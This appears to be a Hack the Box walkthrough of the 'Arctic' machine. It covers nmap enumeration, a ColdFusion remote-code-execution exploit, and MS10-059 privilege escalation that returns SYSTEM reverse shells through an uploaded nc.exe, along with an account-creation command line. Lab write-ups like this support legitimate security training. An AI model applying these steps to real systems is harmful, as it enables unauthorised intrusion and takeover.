This walkthrough is for Arctic box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:
- Manual Directory Enumeration on port 8500
- Adobe ColdFusion RCE exploit for initial foothold
- Kernel exploit for privilege escalation
I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.
Nmap scan report for 10.10.10.11
Host is up, received user-set (0.017s latency).
Scanned at 2022-08-02 10:48:57 AEST for 505s
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
8500/tcp open fmtp? syn-ack ttl 127
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Embedded Standard 7 (91%)
Uptime guess: 0.313 days (since Tue Aug 2 03:25:59 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 14.70 ms 10.10.14.1
2 14.71 ms 10.10.10.11
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 2 10:57:22 2022 -- 1 IP address (1 host up) scanned in 506.30 seconds
Port 8500 looks weird. Upon checking through browser I can see site index.
Checking the first directory /CFIDE I can see further files and directories.
Upon checking further I see error on Application.cfm as below.
This gives no any information and looked like a rabbit-hole. But, administrator directory gave us an login page for Adobe ColdFusion.
A quick look on searchsploit gave vulnerabilities for this version. But I am particularly interested in the RCE exploit which matches our version of the Adobe ColdFusion.
Downloading the exploit and modifying the LHOST details, I was able to get the reverse shell.
Now, running windows-exploit-suggester on the target system to identify any vulnerabilities on the system and I can see there are few of them.
./windows-exploit-suggester.py --database 2022-08-02-mssb.xls --systeminfo sysinfo.txt
Now, looking at the precompiled windows exploits from here. I am going to use MS10-059 which uses vulnerabilities in the tracing feature for services and that could allow elevation of privilege.
Now downloading the exploit from here and I transferred the exploit to the target device. I also transferred the nc.exe to send the reverse shell to my machine as the elevated user.
According to the github, the usage for the exploit is as below.
c:\> MS10-059.exe "C:\windows\system32\cmd.exe" "net user 123 123 /add"
I am going to send the reverse shell to my machine as the command. I followed the above usage and it returned the following error.
So the usage is MS10-059.exe LHOST LPORT.
Now I was able to get the reverse shell as the System user.
